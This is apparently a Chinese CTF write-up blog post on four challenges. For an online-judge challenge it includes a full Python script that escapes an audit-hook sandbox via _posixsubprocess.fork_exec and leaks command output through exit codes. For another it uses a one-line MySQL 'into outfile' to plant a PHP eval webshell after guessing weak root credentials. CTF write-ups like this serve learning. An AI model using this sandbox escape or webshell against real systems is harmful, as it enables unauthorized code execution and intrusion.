文章目錄
- ezoj
- 打卡OK
- offens1ve
- Fakejump server
ezoj
進來一看是算法題,先做了試試看,gpt寫了一個高效代碼通過了
通過后沒看見啥,根據頁面底部提示去/source看到源代碼,沒啥思路,直接看wp吧,跟算法題沒啥關系,關鍵是去看源碼
def audit_checker(event,args):if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:raise RuntimeErrorsys.addaudithook(audit_checker)
好了,現在你已經清楚了,有這樣一個函數,只允許白名單上的東西執行。其他諸如system和eval的代碼執行不了。接下來利用程序退出碼獲取python版本信息,退出碼就相當于return 0,區別在于這里return的值可控,通過version_info獲取版本信息
import sys
sys.exit(sys.version_info[0])
得到Python版本3.12.9,接著看,就算導入os模塊,也不能執行system命令
但是可以導入內部模塊,即一些隱藏的可以用來執行命令的函數
如_posixsubprocess的fork_exe()函數,它的底層是c代碼,所以可以繞過安全審計
在_posixsubprocess模塊中有一個c2pwrite參數,可以將子進程的輸出數據重定向到父進程,可以利用這一點將數據帶出來。
import requests
URL
= "http://10.253.253.1/api/submit"
CODE_TEMPLATE
= """
import _posixsubprocess
import os
import time
import sys
std_pipe = os.pipe()
err_pipe = os.pipe()
_posixsubprocess.fork_exec((b"/bin/bash",b"-c",b"ls /"),[b"/bin/bash"],True,(),None,None,-1,-1,-1,std_pipe[1], #c2pwrite-1,-1,*(err_pipe),False,False,False,None,None,None,-1,None,False, )
time.sleep(0.1)
content = os.read(std_pipe[0],1024)
content_len = len(content)
if {loc} < content_len:sys.exit(content[{loc}])
else:sys.exit(255)
"""
command
="ls /"
received = ""
for i in range(254):code = CODE_TEMPLATE.format(loc=i,command=command)data = {"problem_id":0,"code":code}resp = requests.post(URL,json=data)resp_data = resp.json()assert(resp_data["status"] == "RE")ret_loc = resp_data["message"].find("ret=")ret_code = resp_data["message"][ret_loc+4:]if ret_code == "255":breakreceived += chr(int(ret_code))print(received)
os.pipe創建通信管道
這里學到一個很厲害的技巧:使用管道,如果信息直接輸出到終端,且不給回顯,就可以通過管道給它先放進去,再從管道的另一端去讀,可以采用類似布爾盲注的思想拿出信息,當然這里沒這么麻煩。
_posixsubprocess.fork_exec((b"/bin/bash", b"-c", b"ls /"), # ① 要執行的命令[b"/bin/bash"], # ② argv(程序參數)True, # ③ 是否關閉所有文件描述符(close_fds)(), # ④ 預執行(preexec_fn)None, None, # ⑤ 用戶ID(UID)和 組ID(GID)-1, -1, -1, # ⑥ 文件描述符重定向std_pipe[1], # c2pwrite # ⑦ stdout 重定向到管道-1, -1, # ⑧ stdin, stderr 處理*(err_pipe), # ⑨ stderr 綁定到 err_pipeFalse, False, False, # ⑩ 設置子進程行為None, None, None, # ? 進程優先級和調度相關-1, None, False # ? 其他控制參數
)
啟動bash大概就相當于啟動cmd這個意思
第二個參數只放程序本身的名字,再往下看,是一個經驗性的東西,由于 os.read 可能會將程序卡住,因此在 os.read 之前先sleep?下。到這里payload的構建就沒有什么問題了,我們再來看看處理數據的腳本怎么構建,先看題目源碼
code就是我們構建的payload,通過程序退出碼逐個返回信息
這里我們顯然不能直接提交到oj平臺,所以id設置為0
如果返回狀態碼為RE說明sys.exit()觸發了
import requests
url="http://121.41.238.106:50670/api/submit"
CODE_TEMPLATE='''
import _posixsubprocess
import os
import time
import sys
std_pipe=os.pipe()
err_pipe=os.pipe()
_posixsubprocess.fork_exec((b"/bin/bash",b"-c",b"ls /"),[b"/bin/bash"],True,(),None,None,-1,-1,-1,std_pipe[1], #c2pwrite-1,-1,*(err_pipe),False,False,False,None,None,None,-1,None,False, )
time.sleep(0.1)
content=os.read(std_pipe[0],1024)
content_length=len(content)
if {log}<content_length:sys.exit(content[{log}])
else:sys.exit(255)'''
rec=""
for i in range(1,244):code=CODE_TEMPLATE.format(log=i)data={"problem_id":0,"code":code}response=requests.post(url=url,json=data)redata=response.json()assert redata["status"]=="RE"ret_loc=redata["message"].find("ret=")ret_code=redata["message"][ret_loc+4:]if ret_code=="255":breakelse:rec+=chr(int(ret_code))print(rec)
打卡OK
先試試非預期解,猜測弱密碼,這道題是~泄露,即在要訪問的文件名后面加上~就可以訪問文件的源碼
實際上這里在首頁源碼里可以看到web,web的一個賬號密碼,但是這個賬號權限不夠,不能執行sql寫命令,接下來嘗試一下弱密碼,用root,root成功登錄,拿到權限
select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/1.php'
寫入馬用蟻劍連接,在根目錄下找到flag
offens1ve
這道題需要先在本地host加入
121.41.102.198 oa.offensive.local
121.41.102.198 monitor.offensive.local
121.41.102.198 sts.offensive.local
AI了一下,原因大概是主辦方沒買域名,所以就沒有自動的ip地址到域名的解析服務,需要在本地配置這種映射關系
host文件地址
C:\Windows\System32\drivers\etc\hosts
保存文件后去cmd輸入命令刷新DNS緩存
ipconfig /flushdns
隨后配置防火墻,添加入站規則,允許兩個端口的流量進來,到這里應該是都配置好了,但是還頁面還是不能正常顯示,猜測賽后環境已關閉。
Fakejump server
- Jump Server的定義
Jump Server(跳躍服務器)是一種用于安全訪問內部網絡的中介服務器。用戶需先登錄Jump Server,再通過該服務器訪問內網的其他設備(如數據庫、應用服務器等)。其核心作用是作為內外網之間的“安全跳板”,減少內網直接暴露的風險。
- 堡壘機(Bastion Host)的定義
堡壘機是網絡安全中的關鍵設備,通常指經過加固的服務器,專門用于管理和控制對內部網絡的訪問。其主要功能包括:
-
訪問控制:僅允許授權用戶通過堡壘機進入內網。
-
審計與監控:記錄所有用戶操作日志(如命令、文件傳輸)。
-
隔離風險:防止外部攻擊直接滲透到內網。
那么到這里其實就可以通過提示,猜出大概是堡壘機的題目了。可以掃描22端?以及3389端?,因為?多數堡壘都是可以通過ssh/rdp端?來訪問和管理
服務器,很多?商ssh/rdp都是??寫代碼實現的,所以難免會出現漏洞
進來看一下,是一個nginx服務器,除此以外啥也沒有。
接下來去看看哪個端口開放,下載一個端口掃描工具
nmap下載
這里注意使用工具時不要加入http等內容,直接放ip地址就可以了
掃出SSH端口開放,nc連接
接下來學到一種思路和手法,既然是輸入賬號密碼,那就嘗試sql注入,通過sleep函數的差異來測試數據庫,但是在這里就卡住了,在哪里測試?怎么看測試是否成功?接下來試著跑一跑官方的腳本,報了認證失敗的錯誤,可能是題目環境出了問題,就到此為止吧